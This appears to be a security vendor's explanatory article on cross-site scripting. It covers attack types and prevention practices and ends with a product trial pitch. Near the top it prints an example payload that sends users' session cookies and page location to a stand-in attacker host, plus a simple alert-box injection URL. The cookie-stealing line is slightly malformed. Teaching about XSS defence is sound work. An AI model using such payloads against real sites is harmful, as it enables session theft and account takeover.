XSS Vulnerabilities

What is XSS?

Cross-site scripting (XSS) is a form of cyber attack where a malicious actor injects harmful executable scripts into the code of a trusted website or application. Typically, attackers lure users into clicking on a malicious link, exploiting vulnerabilities in the targeted platform. If the website or application lacks proper data sanitization, the injected link can execute the attacker's chosen code on the user's system, allowing them to pilfer the user's active session cookie.

So, how does cross-site scripting actually work? Consider this example:

htmlCopy code<script> i=new/**/Image();isrc=http://badwebsite.com/log.php?'+document.cookie+' '+document.location</script>

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Although the payload is usually JavaScript, XSS attacks can occur with any client-side language.

To carry out a cross-site scripting attack, the attacker injects a malicious script into user-provided input or manipulates a request. If the web application is vulnerable, the user-supplied input executes as code. For instance, in the following request, a script displays a message box with the text “xss”:

phpCopy code<http://www.website.com/page.php?var=><script>alert('xss');</script>

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XSS attacks can be triggered in various ways, such as automatically when a page loads or when a user hovers over specific elements like hyperlinks.

The potential consequences of XSS attacks are severe, ranging from capturing user keystrokes to redirecting them to malicious websites, running browser-based exploits, and compromising user accounts by obtaining their session cookies.

Different approaches to XSS attacks

1. Stored XSS: The malicious payload is stored in a database and renders to other users when requested if there's no output encoding or sanitization.
2. Reflected XSS: The web application sends attacker-provided strings to a victim's browser, which then executes part of the string as code. The payload echoes back without server-side output encoding.
3. DOM-based XSS: An attacker injects a script into a response, allowing them to read and manipulate the Document Object Model (DOM) data to create a malicious URL. The entire attack takes place on the client browser without involving the server.

How to avoid XSS vulnerabilities

To avoid XSS vulnerabilities, implement security measures early in the development life cycle, conduct security testing, and follow best practices:

• Never trust user input: Validate and sanitize input from untrusted sources.
• Implement output encoding: Escape user input to prevent browsers from interpreting it as code.
• Follow the defense-in-depth principle: Utilize multiple security controls for comprehensive protection.
• Align with OWASP’s XSS Prevention Cheat Sheet: Use tried and tested techniques customized for your application.
• Perform penetration testing: Confirm successful remediation by simulating real-world attack scenarios.
• Stay updated: Follow secure development guidelines, incorporate security at all phases, and ensure developers are aware of XSS prevention best practices. Use relevant output encoding libraries for your programming languages and frameworks.

By adopting these strategies, you can fortify your organization against the risks posed by cross-site scripting attacks.

With Aikido Security, you can prevent CVE’s like XSS abuse in your code. We’ll monitor your web app code and ensure to notify you whenever risks appear. Start a trial to check your code for existing vulnerabilities!